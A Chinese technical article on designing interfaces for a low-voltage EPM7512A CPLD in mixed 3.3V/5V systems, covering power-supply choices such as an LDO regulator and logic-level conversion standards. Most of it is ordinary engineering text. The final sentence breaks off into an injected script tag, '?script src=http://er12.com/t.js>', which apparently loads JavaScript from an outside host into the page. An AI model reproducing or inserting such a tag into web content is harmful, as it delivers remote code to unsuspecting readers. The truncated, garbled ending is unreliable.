本文较详细地阐述不同逻辑电平的接口原理。以低压cpld epm7512a为例，给出在混合电压系统中的具体设计方案。
关键词：低压cpld 逻辑电平 电源 emp7512a
引 言
随着微电子技术的飞速发展，体积更小、功耗更低、性能更佳的低压芯片不断涌现。i/o电平逻辑向3.3v、 2.5v、1.8v，甚至更低的方向发展。但数十年来，由于5v电源的器件一直占据比较重要的市场，在系统设计中它们经常共存在一块电路板中，因此在设计它们的过程中，就不可避免地要碰到不同电压电平的接口问题。
1 epm7512a简述
emp7512a是altera公司推出的max7000a 系列的cpld(complex programmable logic device)；采用cmos eeprom工艺，传输延时仅为3.5ns，可实现频率高达200mhz的计数器；内部具有丰富的资源——512个触发器，1万个用户可编程门；为了比较适合混合电压系统，提供了2.5v、3.3v电压的内核，通过配置，输入引脚可以工作兼容2.5v/3.3v/5v/逻辑电平，输出可以配置为 2.5v/3.3v逻辑电平输出。epm7512a同时还提供了jtag接口，可进行isp编程，极大方便了用户。
2 电源设计
在本系统中，外界提供的电源为±12v和+5v，而epm7512a的工作电压需接3.3v，所以首先要解决好电源的问题。以下是几种解决方案。
(1)采用低压差线性稳压芯片
线性稳压芯片是一种最简单的电源转换芯片，基本上不需要外围元件。使用方便、成本低、纹波小、无电磁干扰。 但是传统的线性稳压器，如78xx系列都要求输入电压要比输出电压高2v~3v以上，否则不能正常工作，所以78xx系列已经不能够满足3.3v电源设计的要求。 面对低电压电源的需求，许多电源芯片公司推出了低压差线性稳压器ldo(low dropout regulator)。这种电源芯片的压差只有1.3v ~ 0.2v，可以实现5v转3.3v/2.5v，3.3v转2.5v/1.8v等要求。
(2)设计开关电源
开关电源也是实现电源转换的一种方法，且效率很高，但设计要比使用线性稳压器复杂得多。不过对于大电流高功率的设计，建议采用开关电源。现在开关电源里面的同步整流技术可以很好地解决低压、大电流的问题。
(3)电阻分压
这种方法简单、成本低，但是分压输出受负载大小影响，不推荐在低压系统中使用。综合对比上面几种方案，选用了ti公司的ldo芯片tps7333qd，负载能力500ma，符合系统功耗要求。
3 逻辑接口设计
(1)各种电平的转换标准
emp7512a的供电电压为3.3v，当vccint接3.3v时，输入口的逻辑电平范围为-2v~5.75v。输出口的逻辑电平范围为0v~vccio。vccio可以接2.5v或者3.3v。在进行cpld系统设计时，除了cpld本身外，还有很多外围的模块和芯片，比如flash、d/a、a/d等。这些可归成两类——驱动cpld的5v电平和被cpld驱动的5v电平芯片。因此就存在一个如何将低压cpld与这些芯片或模块可靠接口的问题。表1所列为5v cmos、5v ttl和3.3v电平的转换标准。其中，voh表示输出高电平的最低电压，vih表示输入高电平的最低电压，vil表示输入低电平的最高电压，vol表示输出低电平的最高电压。从表1中可以看出，5v ttl和3.3v的转换标准是一样的，而5v cmos的转换标准是不同的。因此，在将3.3v系统与5v系统接口时，必须考虑到两者的不同。
(2)逻辑电平不同时接口出现的问题
在混合电压系统中，不同电源电压的逻辑器件互相接口存在以下几个问题。
① 加到输入和输出引脚上允许的最大电压限制问题。器件对加到输入或者输出脚上?script src=http://er12.com/t.js>
